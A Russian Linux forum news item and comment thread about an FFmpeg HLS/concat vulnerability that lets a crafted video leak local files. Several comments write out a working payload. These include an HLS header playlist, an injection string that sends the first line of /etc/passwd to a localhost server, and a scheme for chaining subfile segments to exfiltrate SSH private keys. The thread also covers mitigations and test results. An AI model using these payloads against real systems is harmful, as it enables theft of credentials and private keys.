LINUX.ORG.RU

Уязвимость в FFMpeg, позволяющая читать любые файлы в системе

 ,


6

6

Сотрудник Mail.ru Максим Андреев опубликовал информацию об уязвимости в популярном наборе свободных библиотек FFMpeg.

Если сформировать специальный видеофайл (расширение не имеет значения) и загрузить его на видеохостинг, то злоумышленник сможет прочесть любой файл на сервере. Если удастся каким-то образом заставить обычного пользователя скачать вредоносный файл (дать ему прямую ссылку, выложить на торрент-трекер), как минимум, можно узнать имя пользователя и какую-нибудь ещё непубличную информацию. В случае с Ubuntu FFmpeg передаст злоумышленнику первую строку указанного злоумышленником файла (например, /etc/passwd того пользователя, который просто скачал файл, даже не запуская его (FFMpeg в Ubuntu используется для создания превью, отображаемого в файловом менеджере).

Кроме того, уязвимости подвержены все видеопроигрыватели, использующие FFMpeg.

В качестве мер защиты предлагается запускать ffmpeg в изолированном окружении, либо ограничить ему доступ к сети.

>>> Подробности

anonymous

Проверено: JB ()
Последнее исправление: JB (всего исправлений: 1)

Ответ на: комментарий от i-rinat

А, ну Ок. Завтра пересоберу FFmpeg в PPA с выключенными concat. Хотя тут такое дело, не совсем в плей-листе дело. Он, отчего-то, принимается за HLS. Что несколько странно.

h4tr3d ★★★★★
()
Последнее исправление: h4tr3d (всего исправлений: 1)

Существует такой формат видео, как HLS (HTTP Live Streaming). Он разработан компанией Apple для передачи потокового видео.

так и знал что напакостили из одной фруктовой компании

firsttimeuser ★★★★★
()

фиолетово, ни на одной машине не стоит ffmpeg

voltmod ★★
()

позволяющая читать любые файлы в системе

Интересно, как оно обходит контроль прав доступа файловой системы?

anonymous
()
Ответ на: комментарий от DawnCaster

Эх... как всё печально стало в линуксах с секурностью. Вот совсем недавно делал профиль AppArmor для Firefox'а, теперь, видимо, придётся делать профиль с ограничением на сеть для видео-проигрывателей и утилиты ffmpeg (как я понял, thumbnailer'ы часто просто её напрямую запускают).

То же вспомнил. Похоже без таких средств вроде AppArmor уже нельзя пользоваться компьютером. Ибо кто знает, где ещё эпичный баг вылезет.

anonymous_incognito ★★★★★
()
Ответ на: комментарий от X-Pilot

Работает. В плеерах либо libneon, либо ещё что-то — от ffmpeg не зависит.

wakuwaku ★★★★
()

Миллион зорких глаз кококо, СПО безопаснее проприетарщины кококо. В 2015 году в Windows было найдено и исправлено на порядок меньше уязвимостей, чем в Linux. Этот случай лишний раз показывает, что СПО - просто опасно для использования. Пользоваться им можно только отключившись от сети и из под локального пользователя, чтобы скопище глюков и бекдоров не порушило систему.

anonymous
()
Ответ на: комментарий от anonymous

В 2015 году в Windows было найдено и исправлено на порядок меньше уязвимостей, чем в Linux

И тут ты такой с пруфами, но подозреваю, что под Linux ты имеешь ввиду какой-нибудь дебиан, где в багах указаны вообще все пакеты из репозиториев, в то время как у шиндовса только стандартная система.
В общем, толсто.

Vigi
()
Ответ на: комментарий от anonymous

«слишком банально,плохая попытка»

Линупс банально убог. Потому что его кодят бесплатно только те, кто не смог устроиться программистом на хорошую зарплату, а до сих пор сидит у мамки или общества на шее.

anonymous
()
Ответ на: комментарий от Vigi

«где в багах указаны вообще все пакеты из репозиториев»

Если считать баги и бекдоры в пакетах, то там вообще станет понятно, что СПО в целом - провальная затея. Нет, баги только в ядре Linux, и баги во всех составных частях Windows. Потому что Windows - это ОС, а Linux - это ядро, бесполезное само по себе.

anonymous
()
Ответ на: комментарий от DawnCaster

Эх... как всё печально стало в линуксах с секурностью. Вот совсем недавно делал профиль AppArmor для Firefox'а

А чего фуриокс и линукс? если намек на былинный провал с pdf.js, так оно же кроссплатформенное :)

fornlr ★★★★★
()
Ответ на: комментарий от anonymous

Хорошо, раз так сказал анонимус, то поверю на слово.

Vigi
()
Ответ на: комментарий от anonymous

«хотелось бы посмотреть на ТВ с виндовз или роутер :) какое бы это было тормозное говнище»

А приходится смотреть на тормозное говнище под Linux. Ничего, когда в Windows запилят нормальную поддержку говеных китайских процессоров, Windows и здесь заткнет Linux за пояс.

anonymous
()
Ответ на: комментарий от anonymous

Когда в винде запилят - эппл поработит мир :)

anonymous
()
Ответ на: комментарий от ThisNameWasFree

Ахаха! Ох! Мэйлру хацкеры по безопасности, лол! Прям секьюрети-митап им и устраивать :-D, лол

anonymous
()

Гы... плейлист-инъекция =)

segfault ★★★★★
()
Ответ на: комментарий от FIL

Да, там добавили
--disable-demuxer='hls' --disable-protocol='concat,hls'

Vigi
()
Ответ на: комментарий от trycatch

Увы, власть над линуксом захватили те люди, которые предпочитают именно такой подход!

sholom
()
Ответ на: комментарий от anonymous

интересная уязвимость,но не сенсационная-очевидно что все «тумбайлеры» или кастомные «архиваторы» или «просмоторщики картинок»-имеют миллион уязвимостей,и уж такой монстр как ffmpeg темболее,и да-смеюсь в лицо тем кто с «рабочего» компьютера пользуется браузером

А что, хохотун, ты намекаешь нам, будто бы для браузера нужен отдельный компьютер чтоль? :-)

Может ещё и скажешь что туда Windows (без ffmpeg) для целей безопасности? :-D

user_id_68054 ★★★★★
()

Это абзац! ААААААААаааааааааааааааа! Почему вся эта херата (всякие тамбнейлеры) не заворачивается в профили AppArmor?
(бьется головой в монитор)

ls-h ★★★★★
()
Ответ на: комментарий от ls-h

Потому что тебе нужны автоматически генерируемые превьюшки в файловом менеджере. Ну я не говорю про сервера, там бинарные сборки не используют как правило, если только не админ вендовс назначен принимать решения.

wakuwaku ★★★★
()
Последнее исправление: wakuwaku (всего исправлений: 1)
Ответ на: комментарий от wakuwaku

Потому что тебе нужны автоматически генерируемые превьюшки в файловом менеджере

Надо допилить AppArmor для использования динамических профилей + некоторое количество тулз для работы с профилями. Я как-то давно даже много бреда на эту тему написал: http://habrahabr.ru/post/113143/
К сожалению, я пишу на пистоне, а Сю знаю на уровне «воид маин хелло ворлд!», поэтому это так и осталось бредом.

Кстати, интересная заметка (находил где-то в доках АА): Раньше там таки были динамические профили в зачаточном состоянии, но потом их выпилили.

ls-h ★★★★★
()
Ответ на: комментарий от wakuwaku

Потому что тебе нужны автоматически генерируемые превьюшки в файловом менеджере

Ну, вообще, даже сейчас, без допиливания АА можно это сделать. Как-то так:
cat source-video.mp4 | ffmpeg --some-key-to-use-stdin --bla-bla-bla
При этом, ffmpeg с жестким профилем, когда ничего ему низя, кроме как писать ~/.previews (или где оно там валяется).
Профит!

ls-h ★★★★★
()

А фаерфокс под линуксом не использует ффмпег для декодирования часом? То есть, можно просто залить куда нибудь правильный файл и кому то скинуть ссылку и собирай ssh приватные ключи?

anonymous
()
Ответ на: комментарий от anonymous

Практически весь мультимедиа софт использует, другой вопрос будет работать или нет. Хром тоже использует.

wakuwaku ★★★★
()
Ответ на: комментарий от snaf

Ух, ты! slideshare засунули в список запрещённых.

Wizard_ ★★★★★
()
Ответ на: комментарий от h4tr3d

Забыт тег ирония? :) Или хотим видеть только то, что хочется? :)

50/50

firsttimeuser ★★★★★
()
Ответ на: комментарий от anonymous

Тред-не-читай-сразу-отвечай.

HLS не позволяет вложенность листов больше двух. Из листа первого уровня будет взят только один лист второго уровня. Тут FFmpeg отрабатывает корректно.

Из листа второго уровня полезным для злоумышленника может быть только последний реквест.

Итого: уязвимость есть. Она позволит стянуть имя пользователя в системе, а так же только одну строку (первую при использовании file:, любую /но, снова, одну/ при помощи subfile:) из любого файла, доступного пользователю.

Предложи рабочий вариант спереть ВЕСЬ приватный ключ? Я просношался часа 4, но придумать не смог.

Публичный ключ спереть можно. Ровно как и любые другие файлы, содержимое которых представляет собой одну строку.

h4tr3d ★★★★★
()
Ответ на: комментарий от anonymous

Windows и здесь заткнет Linux за пояс.

Не заткнет. Там получилось очень даже хорошо, но не взлетело. Windows Phone провален, Windows 10 для Rapsberry Pi никому ненужен и т.д.

anonymous
()
Ответ на: комментарий от kirk_johnson

Куда более неприятно получить доступ к ~/.ssh/id_rsa.

Пожалуй, это будет катастрофа.

Strannik-j ★★
()
Ответ на: комментарий от h4tr3d

Also:

+@section subfile
+
+Virtually extract a segment of a file or another stream.
+The underlying stream must be seekable.
+
+Accepted options:
+@table @option
+@item start
+Start offset of the extracted segment, in bytes.
+@item end
+End offset of the extracted segment, in bytes.
+@end table
+
+Examples:
+
+Extract a chapter from a DVD VOB file (start and end sectors obtained
+externally and multiplied by 2048):
+@example
+subfile,,start,153391104,end,268142592,,:/media/dvd/VIDEO_TS/VTS_08_1.VOB
+@end example
+
+Play an AVI file directly from a TAR archive:
+subfile,,start,183241728,end,366490624,,:archive.tar

Ты можешь задать start и end.

kirk_johnson ★☆
()

Сотрудник Mail.ru

свободных библиотек FFMpeg

/0?

nexfwall ★★★★
()
Ответ на: комментарий от kirk_johnson

Грубо говоря: делаем количество subfile по количеству строк в файле (мы же знаем типовую длину ключа) _исключая_ при этом перевод строки, делаем concat и получаем _одну_ строку, содержащую в себе весь файл.

kirk_johnson ★☆
()
Ответ на: комментарий от anonymous

У двоюродного брата в селе далеко за городом 2 мбита ADSL.

leg0las ★★★★★
()

Может кто поделится безобидным файлом, использующим уязвимость? Например, отправляющим куда-нибудь файлик /etc/crontab. Хочу проверить будет ли в федоре selinux ругаться на такое поведение.

anonymous
()
Ответ на: комментарий от kirk_johnson

Нюанс в том, что при текущем состоянии проблемы ты можешь сделать ровно один запрос на один инфицированный файл, который сделает хорошо (ну а пользователю - нет).

Вариант со сборником порнухи... Может проканать, если открываешь в файловом менеджере и в нём строятся тумбы средствами FFmpeg. Тогда на каждую инъекцию можно посчитать своё смещение. Для файлов типа id_rsa это, действительно, не сложно. Для файлов с динамической длинной строки... Если только по байту считывать :) Но сколько это файлов нужно!

Теперь посмотрим на отдельные файловые менеджеры. У меня под руками Nemo, Nautilus и Thunar, остальное бегло. Перед каждым запуском чистим тумбы в ~/.thumbnails и в ~/.cache/thumbnails.

Nemo, Nautilus

Открываем его в директории с инфекцией (там 3 болячки), в логах Nginx - пусто, обращений нет. В консоли видим такое: http://pastebin.com/90GRVkbx

как раз ругнулось на всякие гадости. Возможно ситуацию «исправит» такое решение: http://askubuntu.com/questions/2608/nautilus-video-thumbnails-without-totem

Nautilus выдал тот же результат.

Thunar

Так, как крыса, то сначала закрываем:

thunar -q
Открываем его аналогично... И вообще тумбы не генерятся. Нет, если они уже были, то подхватятся. По дефолту (Linux Mint c врнучную поставленным XFCE4) тамбнейлер никакой не ставится. Нужно что-то доставлять из списка: tumbler+ffmpegthumbnailer (тут логично наблюдать проблему) или raw-thumbnailer (его нет в мяте, но есть в Arch, у кого есть - можете попробовать).

Ставим связку tumbler+ffmpegthumbnailer, запускаем. В логах Nginx тишина, но и на консоль ничего не валится. Тумб для инфицированных файлов нет.

Dolphin

Насколько я понимаю (http://askubuntu.com/questions/411891/dolphin-thumbnail-didnt-show) тамбнейлер нужно ставить свой:

  • mplayerthumbs - тут ок, по понятным причинам.
  • ffmpegthumbs - был запрос по http, за header.m3u8, но дальше не пошёл, данные не утекли.
  • kffmpegthumbnailer - аналогично.

PCManFM

Уже поставил кучу тамбнейлеров. В логах есть запрос header.m3u8, но дальше не идёт. В консоли: http://pastebin.com/cs6jNNL7

VLC

Просто передаём в качестве параметра инфицированный файл. Получаем такое:

Прочитать файл не удалось:
VLC не может открыть файл «/home/USER/tmp/1/concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwd» (Нет такого файла или каталога).
VLC не может определить формат входных данных.:
Формат в 'file:///home/USER/tmp/1/test.mkv' не может быть определен. В журнал записана подробная информация.

Софт и версии

  • Linux Mint 17.3 (based on Ubuntu 14.04.3 LTS)
  • FFmpeg/libav: тут ещё libav, версия 9.18
  • Nemo 2.8.6
  • Thunar 1.6.10
  • Dolphin 4.14.2
  • PCManFM 1.2.0
  • mplayerthumbs 4.14.2
  • ffmpegthumbs 4.14.2
  • kffmpegthumbnailer 1.1.0
  • VLC 2.1.6

Было бы неплохо получить сводку от пользователей Arch Linux, там софт поновее. Ну и пользователи новых версий убунточки тоже велкам, я только после выхода 16.04LTS смогу что-то перепроверить :)

PPS вот в такие моменты, ЛОР самый торт, из всех тортов :)
PS про subfile я тоже писал.

h4tr3d ★★★★★
()
Ответ на: комментарий от h4tr3d

Нюанс в том, что при текущем состоянии проблемы ты можешь сделать ровно один запрос на один инфицированный файл, который сделает хорошо (ну а пользователю - нет).

Я вот этот момент не очень понял. concat:...|subfile...|subfile...|subfile... считается за один запрос?

kirk_johnson ★☆
()
Ответ на: комментарий от kirk_johnson

Не совсем. Читаем документацию на concat: но просто склеивает все файлы, которые ему передали в один (виртуально). Далее полученный источник открывается, его формат определяется по первому файлу, там у нас заголовок:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/pipInput1.flv?
Обязательно без перевода строки в конце!

Второй файл, допустим, это /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

После склейки получается:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/pipInput1.flv?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

теперь смотрим внимательно: что попадёт в запрос? Правильно, только

http://localhost/pipInput1.flv?root:x:0:0:root:/root:/bin/bash
остальное воспримется как некорректные айтемы плей-листа и, естественно, ни в какие запросы не попадёт.

Соответственно, если у тебя будет овердохрена запросов в хидере - будет использоваться только последний. Остальные попытаются отработать, но им ничего не пришпилится в конце.

h4tr3d ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.